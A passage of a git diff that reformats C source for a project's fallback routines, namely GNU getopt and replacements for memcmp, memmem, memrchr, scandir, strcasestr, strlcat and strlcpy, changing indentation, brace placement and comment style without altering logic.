*/ + + if (optind == argc) { + /* Set the next-arg-index to point at the non-options + * that we previously skipped, so the caller will digest them. */ + if (first_nonopt != last_nonopt) + optind = first_nonopt; + return -1; + } /* If we have come to a non-option and did not permute it, - either stop the scan or describe it to the caller and pass it by. */ + * either stop the scan or describe it to the caller and pass it by. */ - if (NONOPTION_P) - { - if (ordering == REQUIRE_ORDER) - return -1; - optarg = argv[optind++]; - return 1; - } + if (NONOPTION_P) { + if (ordering == REQUIRE_ORDER) + return -1; + optarg = argv[optind++]; + return 1; + } /* We have found another option-ARGV-element. - Skip the initial punctuation. */ + * Skip the initial punctuation. */ nextchar = (argv[optind] + 1 - + (longopts != NULL && argv[optind][1] == '-')); - } - - /* Decode the current option-ARGV-element. */ - - /* Check whether the ARGV-element is a long option. - - If long_only and the ARGV-element has the form "-f", where f is - a valid short option, don't consider it an abbreviated form of - a long option that starts with f. Otherwise there would be no - way to give the -f short option. - - On the other hand, if there's a long option "fubar" and - the ARGV-element is "-fu", do consider that an abbreviation of - the long option, just like "--fu", and not "-f" with arg "u". - - This distinction seems to be the most useful approach. */ - - if (longopts != NULL - && (argv[optind][1] == '-' - || (long_only && (argv[optind][2] || !my_index (optstring, argv[optind][1]))))) - { + + (longopts != NULL && argv[optind][1] == '-')); + } + + /* Decode the current option-ARGV-element. */ + + /* Check whether the ARGV-element is a long option. + * + * If long_only and the ARGV-element has the form "-f", where f is + * a valid short option, don't consider it an abbreviated form of + * a long option that starts with f. Otherwise there would be no + * way to give the -f short option. + * + * On the other hand, if there's a long option "fubar" and + * the ARGV-element is "-fu", do consider that an abbreviation of + * the long option, just like "--fu", and not "-f" with arg "u". + * + * This distinction seems to be the most useful approach. */ + + if (longopts != NULL + && (argv[optind][1] == '-' + || (long_only && (argv[optind][2] || !my_index(optstring, argv[optind][1]))))) + { char *nameend; const struct option *p; const struct option *pfound = NULL; @@ -654,436 +631,387 @@ _getopt_internal (argc, argv, optstring, longopts, longind, long_only) int option_index; for (nameend = nextchar; *nameend && *nameend != '='; nameend++) - /* Do nothing. */ ; + /* Do nothing. */; /* Test all long options for either exact match - or abbreviated matches. */ + * or abbreviated matches. */ for (p = longopts, option_index = 0; p->name; p++, option_index++) - if (!strncmp (p->name, nextchar, nameend - nextchar)) - { - if ((unsigned int) (nameend - nextchar) - == (unsigned int) strlen (p->name)) - { - /* Exact match found. */ - pfound = p; - indfound = option_index; - exact = 1; - break; - } - else if (pfound == NULL) - { - /* First nonexact match found. */ - pfound = p; - indfound = option_index; - } - else if (long_only - || pfound->has_arg != p->has_arg - || pfound->flag != p->flag - || pfound->val != p->val) - /* Second or later nonexact match found. */ - ambig = 1; - } - - if (ambig && !exact) - { - if (print_errors) - fprintf (stderr, _("%s: option `%s' is ambiguous\n"), - argv[0], argv[optind]); - nextchar += strlen (nextchar); - optind++; - optopt = 0; - return '?'; - } - - if (pfound != NULL) - { - option_index = indfound; - optind++; - if (*nameend) - { - /* Don't test has_arg with >, because some C compilers don't - allow it to be used on enums. */ - if (pfound->has_arg) - optarg = nameend + 1; - else - { - if (print_errors) - { - if (argv[optind - 1][1] == '-') - /* --option */ - fprintf (stderr, - _("%s: option `--%s' doesn't allow an argument\n"), - argv[0], pfound->name); - else - /* +option or -option */ - fprintf (stderr, - _("%s: option `%c%s' doesn't allow an argument\n"), - argv[0], argv[optind - 1][0], pfound->name); - } - - nextchar += strlen (nextchar); - - optopt = pfound->val; - return '?'; - } - } - else if (pfound->has_arg == 1) - { - if (optind < argc) - optarg = argv[optind++]; - else - { - if (print_errors) - fprintf (stderr, - _("%s: option `%s' requires an argument\n"), - argv[0], argv[optind - 1]); - nextchar += strlen (nextchar); - optopt = pfound->val; - return optstring[0] == ':' ? ':' : '?'; - } - } - nextchar += strlen (nextchar); - if (longind != NULL) - *longind = option_index; - if (pfound->flag) - { - *(pfound->flag) = pfound->val; - return 0; - } - return pfound->val; - } + if (!strncmp(p->name, nextchar, nameend - nextchar)) { + if ((unsigned int)(nameend - nextchar) + == (unsigned int)strlen(p->name)) + { + /* Exact match found. */ + pfound = p; + indfound = option_index; + exact = 1; + break; + } else if (pfound == NULL) { + /* First nonexact match found. */ + pfound = p; + indfound = option_index; + } else if (long_only + || pfound->has_arg != p->has_arg + || pfound->flag != p->flag + || pfound->val != p->val) + /* Second or later nonexact match found. */ + ambig = 1; + } + + if (ambig && !exact) { + if (print_errors) + fprintf(stderr, _("%s: option `%s' is ambiguous\n"), + argv[0], argv[optind]); + nextchar += strlen(nextchar); + optind++; + optopt = 0; + return '?'; + } + + if (pfound != NULL) { + option_index = indfound; + optind++; + if (*nameend) { + /* Don't test has_arg with >, because some C compilers don't + * allow it to be used on enums. */ + if (pfound->has_arg) + optarg = nameend + 1; + else { + if (print_errors) { + if (argv[optind - 1][1] == '-') + /* --option */ + fprintf(stderr, + _("%s: option `--%s' doesn't allow an argument\n"), + argv[0], pfound->name); + else + /* +option or -option */ + fprintf(stderr, + _("%s: option `%c%s' doesn't allow an argument\n"), + argv[0], argv[optind - 1][0], pfound->name); + } + + nextchar += strlen(nextchar); + + optopt = pfound->val; + return '?'; + } + } else if (pfound->has_arg == 1) { + if (optind < argc) + optarg = argv[optind++]; + else { + if (print_errors) + fprintf(stderr, + _("%s: option `%s' requires an argument\n"), + argv[0], argv[optind - 1]); + nextchar += strlen(nextchar); + optopt = pfound->val; + return optstring[0] == ':' ? ':' : '?'; + } + } + nextchar += strlen(nextchar); + if (longind != NULL) + *longind = option_index; + if (pfound->flag) { + *(pfound->flag) = pfound->val; + return 0; + } + return pfound->val; + } /* Can't find it as a long option. If this is not getopt_long_only, - or the option starts with '--' or is not a valid short - option, then it's an error. - Otherwise interpret it as a short option. */ + * or the option starts with '--' or is not a valid short + * option, then it's an error. + * Otherwise interpret it as a short option. */ if (!long_only || argv[optind][1] == '-' - || my_index (optstring, *nextchar) == NULL) - { - if (print_errors) - { - if (argv[optind][1] == '-') - /* --option */ - fprintf (stderr, _("%s: unrecognized option `--%s'\n"), - argv[0], nextchar); - else - /* +option or -option */ - fprintf (stderr, _("%s: unrecognized option `%c%s'\n"), - argv[0], argv[optind][0], nextchar); - } - nextchar = (char *) ""; - optind++; - optopt = 0; - return '?'; - } - } - - /* Look at and handle the next short option-character. */ - - { - char c = *nextchar++; - char *temp = my_index (optstring, c); - - /* Increment `optind' when we start to process its last character. */ - if (*nextchar == '\0') - ++optind; - - if (temp == NULL || c == ':') + || my_index(optstring, *nextchar) == NULL) { - if (print_errors) - { - if (posixly_correct) - /* 1003.2 specifies the format of this message. */ - fprintf (stderr, _("%s: illegal option -- %c\n"), - argv[0], c); - else - fprintf (stderr, _("%s: invalid option -- %c\n"), - argv[0], c); - } - optopt = c; - return '?'; + if (print_errors) { + if (argv[optind][1] == '-') + /* --option */ + fprintf(stderr, _("%s: unrecognized option `--%s'\n"), + argv[0], nextchar); + else + /* +option or -option */ + fprintf(stderr, _("%s: unrecognized option `%c%s'\n"), + argv[0], argv[optind][0], nextchar); + } + nextchar = (char *)""; + optind++; + optopt = 0; + return '?'; } - /* Convenience. Treat POSIX -W foo same as long option --foo */ - if (temp[0] == 'W' && temp[1] == ';') - { - char *nameend; - const struct option *p; - const struct option *pfound = NULL; - int exact = 0; - int ambig = 0; - int indfound = 0; - int option_index; - - /* This is an option that requires an argument. */ - if (*nextchar != '\0') - { - optarg = nextchar; - /* If we end this ARGV-element by taking the rest as an arg, - we must advance to the next element now. */ - optind++; - } - else if (optind == argc) - { - if (print_errors) - { - /* 1003.2 specifies the format of this message. */ - fprintf (stderr, _("%s: option requires an argument -- %c\n"), - argv[0], c); - } - optopt = c; - if (optstring[0] == ':') - c = ':'; - else - c = '?'; - return c; - } - else - /* We already incremented `optind' once; - increment it again when taking next ARGV-elt as argument. */ - optarg = argv[optind++]; - - /* optarg is now the argument, see if it's in the - table of longopts. */ - - for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++) - /* Do nothing. */ ; - - /* Test all long options for either exact match - or abbreviated matches. */ - for (p = longopts, option_index = 0; p->name; p++, option_index++) - if (!strncmp (p->name, nextchar, nameend - nextchar)) - { - if ((unsigned int) (nameend - nextchar) == strlen (p->name)) - { - /* Exact match found. */ - pfound = p; - indfound = option_index; - exact = 1; - break; - } - else if (pfound == NULL) - { - /* First nonexact match found. */ - pfound = p; - indfound = option_index; - } - else - /* Second or later nonexact match found. */ - ambig = 1; - } - if (ambig && !exact) - { - if (print_errors) - fprintf (stderr, _("%s: option `-W %s' is ambiguous\n"), - argv[0], argv[optind]); - nextchar += strlen (nextchar); - optind++; - return '?'; - } - if (pfound != NULL) - { - option_index = indfound; - if (*nameend) - { - /* Don't test has_arg with >, because some C compilers don't - allow it to be used on enums. */ - if (pfound->has_arg) - optarg = nameend + 1; - else - { - if (print_errors) - fprintf (stderr, _("\ + } + + /* Look at and handle the next short option-character. */ + + { + char c = *nextchar++; + char *temp = my_index(optstring, c); + + /* Increment `optind' when we start to process its last character. */ + if (*nextchar == '\0') + ++optind; + + if (temp == NULL || c == ':') { + if (print_errors) { + if (posixly_correct) + /* 1003.2 specifies the format of this message. */ + fprintf(stderr, _("%s: illegal option -- %c\n"), + argv[0], c); + else + fprintf(stderr, _("%s: invalid option -- %c\n"), + argv[0], c); + } + optopt = c; + return '?'; + } + /* Convenience. Treat POSIX -W foo same as long option --foo */ + if (temp[0] == 'W' && temp[1] == ';') { + char *nameend; + const struct option *p; + const struct option *pfound = NULL; + int exact = 0; + int ambig = 0; + int indfound = 0; + int option_index; + + /* This is an option that requires an argument. */ + if (*nextchar != '\0') { + optarg = nextchar; + /* If we end this ARGV-element by taking the rest as an arg, + * we must advance to the next element now. */ + optind++; + } else if (optind == argc) { + if (print_errors) { + /* 1003.2 specifies the format of this message. */ + fprintf(stderr, _("%s: option requires an argument -- %c\n"), + argv[0], c); + } + optopt = c; + if (optstring[0] == ':') + c = ':'; + else + c = '?'; + return c; + } else + /* We already incremented `optind' once; + * increment it again when taking next ARGV-elt as argument. */ + optarg = argv[optind++]; + + /* optarg is now the argument, see if it's in the + * table of longopts. */ + + for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++) + /* Do nothing. */; + + /* Test all long options for either exact match + * or abbreviated matches. */ + for (p = longopts, option_index = 0; p->name; p++, option_index++) + if (!strncmp(p->name, nextchar, nameend - nextchar)) { + if ((unsigned int)(nameend - nextchar) == strlen(p->name)) { + /* Exact match found. */ + pfound = p; + indfound = option_index; + exact = 1; + break; + } else if (pfound == NULL) { + /* First nonexact match found. */ + pfound = p; + indfound = option_index; + } else + /* Second or later nonexact match found. */ + ambig = 1; + } + if (ambig && !exact) { + if (print_errors) + fprintf(stderr, _("%s: option `-W %s' is ambiguous\n"), + argv[0], argv[optind]); + nextchar += strlen(nextchar); + optind++; + return '?'; + } + if (pfound != NULL) { + option_index = indfound; + if (*nameend) { + /* Don't test has_arg with >, because some C compilers don't + * allow it to be used on enums. */ + if (pfound->has_arg) + optarg = nameend + 1; + else { + if (print_errors) + fprintf(stderr, _("\ %s: option `-W %s' doesn't allow an argument\n"), - argv[0], pfound->name); - - nextchar += strlen (nextchar); - return '?'; - } - } - else if (pfound->has_arg == 1) - { - if (optind < argc) - optarg = argv[optind++]; - else - { - if (print_errors) - fprintf (stderr, - _("%s: option `%s' requires an argument\n"), - argv[0], argv[optind - 1]); - nextchar += strlen (nextchar); - return optstring[0] == ':' ? ':' : '?'; - } - } - nextchar += strlen (nextchar); - if (longind != NULL) - *longind = option_index; - if (pfound->flag) - { - *(pfound->flag) = pfound->val; - return 0; - } - return pfound->val; - } - nextchar = NULL; - return 'W'; /* Let the application handle it. */ + argv[0], pfound->name); + + nextchar += strlen(nextchar); + return '?'; + } + } else if (pfound->has_arg == 1) { + if (optind < argc) + optarg = argv[optind++]; + else { + if (print_errors) + fprintf(stderr, + _("%s: option `%s' requires an argument\n"), + argv[0], argv[optind - 1]); + nextchar += strlen(nextchar); + return optstring[0] == ':' ? ':' : '?'; + } + } + nextchar += strlen(nextchar); + if (longind != NULL) + *longind = option_index; + if (pfound->flag) { + *(pfound->flag) = pfound->val; + return 0; + } + return pfound->val; + } + nextchar = NULL; + return 'W'; /* Let the application handle it. */ } - if (temp[1] == ':') - { - if (temp[2] == ':') - { - /* This is an option that accepts an argument optionally. */ - if (*nextchar != '\0') - { - optarg = nextchar; - optind++; - } - else - optarg = NULL; - nextchar = NULL; - } - else - { - /* This is an option that requires an argument. */ - if (*nextchar != '\0') - { - optarg = nextchar; - /* If we end this ARGV-element by taking the rest as an arg, - we must advance to the next element now. */ - optind++; - } - else if (optind == argc) - { - if (print_errors) - { - /* 1003.2 specifies the format of this message. */ - fprintf (stderr, - _("%s: option requires an argument -- %c\n"), - argv[0], c); - } - optopt = c; - if (optstring[0] == ':') - c = ':'; - else - c = '?'; - } - else - /* We already incremented `optind' once; - increment it again when taking next ARGV-elt as argument. */ - optarg = argv[optind++]; - nextchar = NULL; - } + if (temp[1] == ':') { + if (temp[2] == ':') { + /* This is an option that accepts an argument optionally. */ + if (*nextchar != '\0') { + optarg = nextchar; + optind++; + } else + optarg = NULL; + nextchar = NULL; + } else { + /* This is an option that requires an argument. */ + if (*nextchar != '\0') { + optarg = nextchar; + /* If we end this ARGV-element by taking the rest as an arg, + * we must advance to the next element now. */ + optind++; + } else if (optind == argc) { + if (print_errors) { + /* 1003.2 specifies the format of this message. */ + fprintf(stderr, + _("%s: option requires an argument -- %c\n"), + argv[0], c); + } + optopt = c; + if (optstring[0] == ':') + c = ':'; + else + c = '?'; + } else + /* We already incremented `optind' once; + * increment it again when taking next ARGV-elt as argument. */ + optarg = argv[optind++]; + nextchar = NULL; + } } - return c; - } + return c; + } } -int getopt (int, char *const *, const char *); +int getopt(int, char *const *, const char *); int -getopt (argc, argv, optstring) - int argc; - char *const *argv; - const char *optstring; +getopt(argc, argv, optstring) +int argc; +char *const *argv; +const char *optstring; { - return _getopt_internal (argc, argv, optstring, - (const struct option *) 0, - (int *) 0, - 0); + return _getopt_internal(argc, argv, optstring, + (const struct option *)0, + (int *)0, + 0); } -#endif /* Not ELIDE_CODE. */ - +#endif /* Not ELIDE_CODE. */ + #ifdef TEST /* Compile with -DTEST to make an executable for use in testing - the above definition of `getopt'. */ + * the above definition of `getopt'. */ int -main (argc, argv) - int argc; - char **argv; +main(argc, argv) +int argc; +char **argv; { - int c; - int digit_optind = 0; + int c; + int digit_optind = 0; - while (1) - { + while (1) { int this_option_optind = optind ? optind : 1; - c = getopt (argc, argv, "abc:d:0123456789"); + c = getopt(argc, argv, "abc:d:0123456789"); if (c == -1) - break; - - switch (c) - { - case '0': - case '1': - case '2': - case '3': - case '4': - case '5': - case '6': - case '7': - case '8': - case '9': - if (digit_optind != 0 && digit_optind != this_option_optind) - printf ("digits occur in two different argv-elements.\n"); - digit_optind = this_option_optind; - printf ("option %c\n", c); - break; - - case 'a': - printf ("option a\n"); - break; - - case 'b': - printf ("option b\n"); - break; - - case 'c': - printf ("option c with value `%s'\n", optarg); - break; - - case '?': - break; - - default: - printf ("?? getopt returned character code 0%o ??\n", c); - } - } - - if (optind < argc) - { - printf ("non-option ARGV-elements: "); + break; + + switch (c) { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + if (digit_optind != 0 && digit_optind != this_option_optind) + printf("digits occur in two different argv-elements.\n"); + digit_optind = this_option_optind; + printf("option %c\n", c); + break; + + case 'a': + printf("option a\n"); + break; + + case 'b': + printf("option b\n"); + break; + + case 'c': + printf("option c with value `%s'\n", optarg); + break; + + case '?': + break; + + default: + printf("?? getopt returned character code 0%o ??\n", c); + } + } + + if (optind < argc) { + printf("non-option ARGV-elements: "); while (optind < argc) - printf ("%s ", argv[optind++]); - printf ("\n"); - } + printf("%s ", argv[optind++]); + printf("\n"); + } - exit (0); + exit(0); } #endif /* TEST */ /* getopt_long and getopt_long_only entry points for GNU getopt. - Copyright (C) 1987,88,89,90,91,92,93,94,96,97,98 - Free Software Foundation, Inc. - This file is part of the GNU C Library. - - The GNU C Library is free software; you can redistribute it and/or - modify it under the terms of the GNU Library General Public License as - published by the Free Software Foundation; either version 2 of the - License, or (at your option) any later version. - - The GNU C Library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Library General Public License for more details. - - You should have received a copy of the GNU Library General Public - License along with the GNU C Library; see the file COPYING.LIB. If not, - write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, - Boston, MA 02111-1307, USA. */ + * Copyright (C) 1987,88,89,90,91,92,93,94,96,97,98 + * Free Software Foundation, Inc. + * This file is part of the GNU C Library. + * + * The GNU C Library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public License as + * published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * The GNU C Library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with the GNU C Library; see the file COPYING.LIB. If not, + * write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include @@ -1093,7 +1021,7 @@ main (argc, argv) #if !defined __STDC__ || !__STDC__ /* This is a separate conditional since some stdc systems - reject `defined (const)'. */ + * reject `defined (const)'. */ #ifndef const #define const #endif @@ -1102,12 +1030,12 @@ main (argc, argv) #include /* Comment out all this code if we are using the GNU C Library, and are not - actually compiling the library itself. This code is part of the GNU C - Library, but also included in many other GNU distributions. Compiling - and linking in this code is a waste when using the GNU C library - (especially if it is a shared library). Rather than having every GNU - program understand `configure --with-gnu-libc' and omit the object files, - it is simpler to just do this in the source for each such file. */ + * actually compiling the library itself. This code is part of the GNU C + * Library, but also included in many other GNU distributions. Compiling + * and linking in this code is a waste when using the GNU C library + * (especially if it is a shared library). Rather than having every GNU + * program understand `configure --with-gnu-libc' and omit the object files, + * it is simpler to just do this in the source for each such file. */ #define GETOPT_INTERFACE_VERSION 2 #if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2 @@ -1119,137 +1047,132 @@ main (argc, argv) #ifndef ELIDE_CODE - /* This needs to come after some library #include - to get __GNU_LIBRARY__ defined. */ + * to get __GNU_LIBRARY__ defined. */ #ifdef __GNU_LIBRARY__ #include #endif -#ifndef NULL +#ifndef NULL #define NULL 0 #endif int -getopt_long (argc, argv, options, long_options, opt_index) - int argc; - char *const *argv; - const char *options; - const struct option *long_options; - int *opt_index; +getopt_long(argc, argv, options, long_options, opt_index) +int argc; +char *const *argv; +const char *options; +const struct option *long_options; +int *opt_index; { - return _getopt_internal (argc, argv, options, long_options, opt_index, 0); + return _getopt_internal(argc, argv, options, long_options, opt_index, 0); } /* Like getopt_long, but '-' as well as '--' can indicate a long option. - If an option that starts with '-' (not '--') doesn't match a long option, - but does match a short option, it is parsed as a short option - instead. */ + * If an option that starts with '-' (not '--') doesn't match a long option, + * but does match a short option, it is parsed as a short option + * instead. */ int -getopt_long_only (argc, argv, options, long_options, opt_index) - int argc; - char *const *argv; - const char *options; - const struct option *long_options; - int *opt_index; +getopt_long_only(argc, argv, options, long_options, opt_index) +int argc; +char *const *argv; +const char *options; +const struct option *long_options; +int *opt_index; { - return _getopt_internal (argc, argv, options, long_options, opt_index, 1); + return _getopt_internal(argc, argv, options, long_options, opt_index, 1); } - -#endif /* Not ELIDE_CODE. */ +#endif /* Not ELIDE_CODE. */ #ifdef TEST #include int -main (argc, argv) - int argc; - char **argv; +main(argc, argv) +int argc; +char **argv; { - int c; - int digit_optind = 0; + int c; + int digit_optind = 0; - while (1) - { + while (1) { int this_option_optind = optind ? optind : 1; int option_index = 0; static struct option long_options[] = { - {"add", 1, 0, 0}, - {"append", 0, 0, 0}, - {"delete", 1, 0, 0}, - {"verbose", 0, 0, 0}, - {"create", 0, 0, 0}, - {"file", 1, 0, 0}, - {0, 0, 0, 0} + { "add", 1, 0, 0 }, + { "append", 0, 0, 0 }, + { "delete", 1, 0, 0 }, + { "verbose", 0, 0, 0 }, + { "create", 0, 0, 0 }, + { "file", 1, 0, 0 }, + { 0, 0, 0, 0 } }; - c = getopt_long (argc, argv, "abc:d:0123456789", - long_options, &option_index); + c = getopt_long(argc, argv, "abc:d:0123456789", + long_options, &option_index); if (c == -1) - break; - - switch (c) - { - case 0: - printf ("option %s", long_options[option_index].name); - if (optarg) - printf (" with arg %s", optarg); - printf ("\n"); - break; - - case '0': - case '1': - case '2': - case '3': - case '4': - case '5': - case '6': - case '7': - case '8': - case '9': - if (digit_optind != 0 && digit_optind != this_option_optind) - printf ("digits occur in two different argv-elements.\n"); - digit_optind = this_option_optind; - printf ("option %c\n", c); - break; - - case 'a': - printf ("option a\n"); - break; - - case 'b': - printf ("option b\n"); - break; - - case 'c': - printf ("option c with value `%s'\n", optarg); - break; - - case 'd': - printf ("option d with value `%s'\n", optarg); - break; - - case '?': - break; - - default: - printf ("?? getopt returned character code 0%o ??\n", c); - } - } - - if (optind < argc) - { - printf ("non-option ARGV-elements: "); + break; + + switch (c) { + case 0: + printf("option %s", long_options[option_index].name); + if (optarg) + printf(" with arg %s", optarg); + printf("\n"); + break; + + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + if (digit_optind != 0 && digit_optind != this_option_optind) + printf("digits occur in two different argv-elements.\n"); + digit_optind = this_option_optind; + printf("option %c\n", c); + break; + + case 'a': + printf("option a\n"); + break; + + case 'b': + printf("option b\n"); + break; + + case 'c': + printf("option c with value `%s'\n", optarg); + break; + + case 'd': + printf("option d with value `%s'\n", optarg); + break; + + case '?': + break; + + default: + printf("?? getopt returned character code 0%o ??\n", c); + } + } + + if (optind < argc) { + printf("non-option ARGV-elements: "); while (optind < argc) - printf ("%s ", argv[optind++]); - printf ("\n"); - } + printf("%s ", argv[optind++]); + printf("\n"); + } - exit (0); + exit(0); } #endif /* TEST */ diff --git a/src/missing/memcmp.c b/src/missing/memcmp.c index 5ce33e299..0d1bad482 100644 --- a/src/missing/memcmp.c +++ b/src/missing/memcmp.c @@ -45,16 +45,16 @@ static char *rcsid = "$OpenBSD: memcmp.c,v 1.2 1996/08/19 08:34:05 tholo Exp $"; */ int memcmp(s1, s2, n) - const void *s1, *s2; - size_t n; +const void *s1, *s2; +size_t n; { - if (n != 0) { - register const unsigned char *p1 = s1, *p2 = s2; + if (n != 0) { + register const unsigned char *p1 = s1, *p2 = s2; - do { - if (*p1++ != *p2++) - return (*--p1 - *--p2); - } while (--n != 0); - } - return (0); + do { + if (*p1++ != *p2++) + return *--p1 - *--p2; + } while (--n != 0); + } + return 0; } diff --git a/src/missing/memmem.c b/src/missing/memmem.c index b8fc1bab4..084db5159 100644 --- a/src/missing/memmem.c +++ b/src/missing/memmem.c @@ -33,8 +33,8 @@ #include #endif -void * memmem(const void *haystack, size_t haystacklen, - const void *needle, size_t needlelen); +void *memmem(const void *haystack, size_t haystacklen, + const void *needle, size_t needlelen); /* * DESCRIPTION @@ -47,25 +47,24 @@ void * memmem(const void *haystack, size_t haystacklen, * substring, or NULL if the substring is not found. */ - -void * memmem(const void *haystack, size_t haystacklen, - const void *needle, size_t needlelen) +void *memmem(const void *haystack, size_t haystacklen, + const void *needle, size_t needlelen) { - register const char *h = haystack; - register const char *n = needle; - register size_t hl = haystacklen; - register size_t nl = needlelen; - register size_t i; + register const char *h = haystack; + register const char *n = needle; + register size_t hl = haystacklen; + register size_t nl = needlelen; + register size_t i; - if (nl == 0) return (void *) haystack; /* The first occurrence of the empty string is deemed to occur at - the beginning of the string. */ + if (nl == 0) return (void *)haystack; /* The first occurrence of the empty string is deemed to occur at + * the beginning of the string. */ - for( i = 0; (i < hl) && (i + nl <= hl ); i++ ) - if (h[i] == *n) /* first match */ - if ( !memcmp(&h[i]+1, n + 1, nl - 1) ) - return (void *)(haystack+i); /* returns a pointer to the substring */ + for (i = 0; (i < hl) && (i + nl <= hl); i++) + if (h[i] == *n) /* first match */ + if (!memcmp(&h[i] + 1, n + 1, nl - 1)) + return (void *)(haystack + i); /* returns a pointer to the substring */ - return (void *)NULL; /* not found */ + return (void *)NULL; /* not found */ } /* EOF */ diff --git a/src/missing/memrchr.c b/src/missing/memrchr.c index d5d3dd7bc..f8dc11305 100644 --- a/src/missing/memrchr.c +++ b/src/missing/memrchr.c @@ -28,15 +28,15 @@ #include void *memrchr(const void *s, u_char c, size_t n) -{ +{ -/* +/* * DESCRIPTION * The memrchr() function is like the memchr() function, except * that it searches backward for the first instance of c from the * end of the n bytes pointed to by s instead of forward from the * beginning. - * + * * RETURN VALUE * The memrchr() functions return a pointer to the matching byte or * NULL if the character does not occur in the given memory area. @@ -45,13 +45,12 @@ void *memrchr(const void *s, u_char c, size_t n) const u_char *cp; if (n != 0) { - cp = (u_char*)s + n; + cp = (u_char *)s + n; do { if (*(--cp) == (u_char)c) - return (void*)cp; + return (void *)cp; } while (--n != 0); } return NULL; } - diff --git a/src/missing/scandir.c b/src/missing/scandir.c index 94d8a0b88..84e014491 100644 --- a/src/missing/scandir.c +++ b/src/missing/scandir.c @@ -1,54 +1,52 @@ -#include -#include -#include -#include +#include +#include +#include +#include -int scandir(const char *, struct dirent ***, int(*)(const struct dirent *), int(*)(const struct dirent **, const struct dirent **)); +int scandir(const char *, struct dirent ***, int (*)(const struct dirent *), int (*)(const struct dirent **, const struct dirent **)); int alphasort(const struct dirent **a, const struct dirent **b); /* This function is only required for SunOS, all other supported OS -have this function in their system library */ + * have this function in their system library */ int scandir(const char *dir, struct dirent ***namelist, int (*select)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **)) { - DIR *d; - struct dirent *entry; - register int i=0; - size_t entrysize; - - if ((d=opendir(dir)) == NULL) - return(-1); - - *namelist=NULL; - - while ((entry=readdir(d)) != NULL) - { - if (select == NULL || (select != NULL && (*select)(entry))) - { - *namelist=(struct dirent **)realloc((void *)(*namelist), (size_t)((i+1)*sizeof(struct dirent *))); - if (*namelist == NULL) return(-1); - - entrysize=sizeof(struct dirent)-sizeof(entry->d_name)+strlen(entry->d_name)+1; - (*namelist)[i]=(struct dirent *)malloc(entrysize); - if ((*namelist)[i] == NULL) - return(-1); - - memcpy((*namelist)[i], entry, entrysize); - i++; - } - } - if (closedir(d)) return(-1); - if (i == 0) return(-1); - if (compar != NULL) - qsort((void *)(*namelist), (size_t)i, sizeof(struct dirent *), (int (*)(const void *, const void *))compar); - - return(i); + DIR *d; + struct dirent *entry; + register int i = 0; + size_t entrysize; + + if ((d = opendir(dir)) == NULL) + return -1; + + *namelist = NULL; + + while ((entry = readdir(d)) != NULL) { + if (select == NULL || (select != NULL && (*select)(entry))) { + *namelist = (struct dirent **)realloc((void *)(*namelist), (size_t)((i + 1) * sizeof(struct dirent *))); + if (*namelist == NULL) return -1; + + entrysize = sizeof(struct dirent) - sizeof(entry->d_name) + strlen(entry->d_name) + 1; + (*namelist)[i] = (struct dirent *)malloc(entrysize); + if ((*namelist)[i] == NULL) + return -1; + + memcpy((*namelist)[i], entry, entrysize); + i++; + } + } + if (closedir(d)) return -1; + if (i == 0) return -1; + if (compar != NULL) + qsort((void *)(*namelist), (size_t)i, sizeof(struct dirent *), (int (*)(const void *, const void *))compar); + + return i; } int alphasort(const struct dirent **a, const struct dirent **b) { - return(strcmp((*a)->d_name, (*b)->d_name)); + return strcmp((*a)->d_name, (*b)->d_name); } diff --git a/src/missing/strcasestr.c b/src/missing/strcasestr.c index b4410990b..dfaf936b5 100644 --- a/src/missing/strcasestr.c +++ b/src/missing/strcasestr.c @@ -1,13 +1,13 @@ /* * silly implementation for the strcasestr funcion. - * + * */ #include char *strcasestr(const char *hailstack, const char *needle); - + char *strcasestr(const char *hailstack, const char *needle) { register int lneed = strlen(needle); @@ -23,4 +23,3 @@ char *strcasestr(const char *hailstack, const char *needle) } /* EOF */ - diff --git a/src/missing/strlcat.c b/src/missing/strlcat.c index 490d4c1a0..e816ebb9d 100644 --- a/src/missing/strlcat.c +++ b/src/missing/strlcat.c @@ -1,5 +1,5 @@ /* $NetBSD: strlcat.c,v 1.5 1999/09/20 04:39:47 lukem Exp $ */ -/* from OpenBSD: strlcat.c,v 1.2 1999/06/17 16:28:58 millert Exp */ +/* from OpenBSD: strlcat.c,v 1.2 1999/06/17 16:28:58 millert Exp */ /* * Copyright (c) 1998 Todd C. Miller @@ -41,31 +41,31 @@ size_t strlcat(char *, const char *, size_t); */ size_t strlcat(dst, src, siz) - char *dst; - const char *src; - size_t siz; +char *dst; +const char *src; +size_t siz; { - register char *d = dst; - register const char *s = src; - register size_t n = siz; - size_t dlen; + register char *d = dst; + register const char *s = src; + register size_t n = siz; + size_t dlen; - /* Find the end of dst and adjust bytes left but don't go past end */ - while (*d != '\0' && n-- != 0) - d++; - dlen = d - dst; - n = siz - dlen; + /* Find the end of dst and adjust bytes left but don't go past end */ + while (*d != '\0' && n-- != 0) + d++; + dlen = d - dst; + n = siz - dlen; - if (n == 0) - return(dlen + strlen(s)); - while (*s != '\0') { - if (n != 1) { - *d++ = *s; - n--; - } - s++; - } - *d = '\0'; + if (n == 0) + return dlen + strlen(s); + while (*s != '\0') { + if (n != 1) { + *d++ = *s; + n--; + } + s++; + } + *d = '\0'; - return(dlen + (s - src)); /* count does not include NUL */ + return dlen + (s - src); /* count does not include NUL */ } diff --git a/src/missing/strlcpy.c b/src/missing/strlcpy.c index e85e31820..7f79f0f7f 100644 --- a/src/missing/strlcpy.c +++ b/src/missing/strlcpy.c @@ -38,24 +38,24 @@ size_t 